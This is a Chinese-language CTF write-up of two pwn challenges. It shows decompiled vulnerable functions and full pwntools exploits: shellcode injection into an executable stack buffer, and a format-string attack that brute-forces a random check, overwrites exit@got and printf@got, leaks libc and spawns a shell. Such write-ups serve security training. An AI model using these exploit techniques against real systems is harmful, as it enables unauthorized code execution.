某不知名比赛Pwn题解

action

漏洞在FunOfStrCpy函数,可以看到只要大于1024都会返回到buf中执行,程序没有开NX

char *__cdecl FunOfStrCpy(char *src)
{
  char *result; // eax
  char v2; // [esp-Ch] [ebp-424h]
  char *v3; // [esp+4h] [ebp-414h]
  int (*v4)(const char *, ...); // [esp+8h] [ebp-410h]
  char s; // [esp+Ch] [ebp-40Ch]
  int i; // [esp+40Ch] [ebp-Ch]

  Printf = (int (*)(const char *, ...))my_printf;
  my_printf("Important piont:0x", v2);
  Printf("%x\n", s);
  memset(&s, 0, 0x400u);
  p = (int)&s;
  v3 = &s;
  v4 = Printf;
  if ( strlen(src) <= 1023 )
    return (char *)puts("Nothing happened!!!");
  result = strcpy(&s, src);
  for ( i = 0; i <= 1; ++i )
    result = (char *)((int (__cdecl *)(const char *))(&v3)[i])("Success!!!");
  return result;
}

Exp:

#!/usr/bin/env python
from pwn import *
context.log_level='debug'

p = process('./pwn')

p.recv()

payload = asm(shellcraft.sh())
payload = payload.ljust(1024,'A')
p.sendline(payload)

p.interactive()

retfmt

拿到题目的时候基本就确定了是格式化字符串漏洞

main函数流程非常简单,起初以为是leak出canary然后溢出来做,然后发现并没有溢出点。不过可以修改exit函数的got表值为main函数地址来多次利用fmt

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+10h] [rbp-110h]
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(*(_QWORD *)&argc, argv, envp);
  if ( (unsigned int)CheckIn() == 1 )
  {
    memset(&buf, 0, 0x100uLL);
    write(1, "welcome: ", 0xAuLL);
    read(0, &buf, 0x100uLL);
    printf(&buf, &buf, argv);
  }
  puts("bye~");
  exit(0);
}

checkin函数中关键点是对随机数对5求余,对5求余只有01234五种结果,所以这里可以采用爆破随机数来求解

_BOOL8 CheckIn()
{
  unsigned int v0; // eax
  char v1; // ST00_1
  _QWORD v3[2]; // [rsp+0h] [rbp-30h]
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int16 v5; // [rsp+18h] [rbp-18h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v0 = time(0LL);
  srand(v0);
  LOWORD(v3[0]) = (unsigned __int8)(rand() % 5 + 48);
  printf("enter:", v3[0]);
  buf = 0LL;
  v5 = 0;
  read(0, &buf, 0xAuLL);
  return (_BYTE)buf == v1;
}

利用思路:

  1. 通过爆破随机数来绕过CheckIn函数
  2. 修改exit@got为main来劫持程序流,多次利用格式化字符串漏洞
  3. 通过栈leak出libc的地址,然后修改printf@got为system(这里只修改低三位即可)

exp:

#!/usr/bin/python
from pwn import *
context.log_level='debug'

p = process('./pwn')
# p = remote('127.0.0.1',8888)
elf = ELF('./pwn',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)


p.recv()
p.sendline('49')
while 'welcome' not in p.recv():
    p.close()
    p = process('./pwn')
    p.sendline('49')

payload = r"%2387c%10$hnssta"+p64(elf.got['exit'])

p.sendline(payload)

p.recvuntil('enter:')
p.sendline('49')
while 'welcome' not in p.recv():
    p.sendline('49')

p.sendline('%3$p')
libc_base = int(p.recvuntil('\n',drop=True),16) - 0xf7260
system = libc_base + libc.symbols['system']
log.success('libc base --> [%s]' % hex(libc_base))
log.success('system addr --> [%s]' % hex(system))

p.recvuntil('enter:')
p.sendline('49')
while 'welcome' not in p.recv():
    p.sendline('49')

tmp1 = int(str(hex(system))[-6:-4],16)
tmp2 = int(str(hex(system))[-4:-2],16)
tmp3 = int(str(hex(system))[-2:],16)
# print hex(tmp1),hex(tmp2),hex(tmp3)

payload = "%"+str(tmp3)+"c%13$hhn%"+str(256-tmp3+tmp2)+"c%14$hhn"
payload += "%"+str(256-tmp2+tmp1)+"c%15$hhn"
payload = payload.ljust(40,'A')
payload += p64(elf.got['printf'])+p64(elf.got['printf']+1)+p64(elf.got['printf']+2)

# gdb.attach(p)
p.sendline(payload)

p.sendline('49')
p.recv()

while 'welcome' not in p.recv():
    p.sendline('49')

p.sendline('/bin/sh\x00')

p.interactive()

你可能感兴趣的:(某不知名比赛Pwn题解)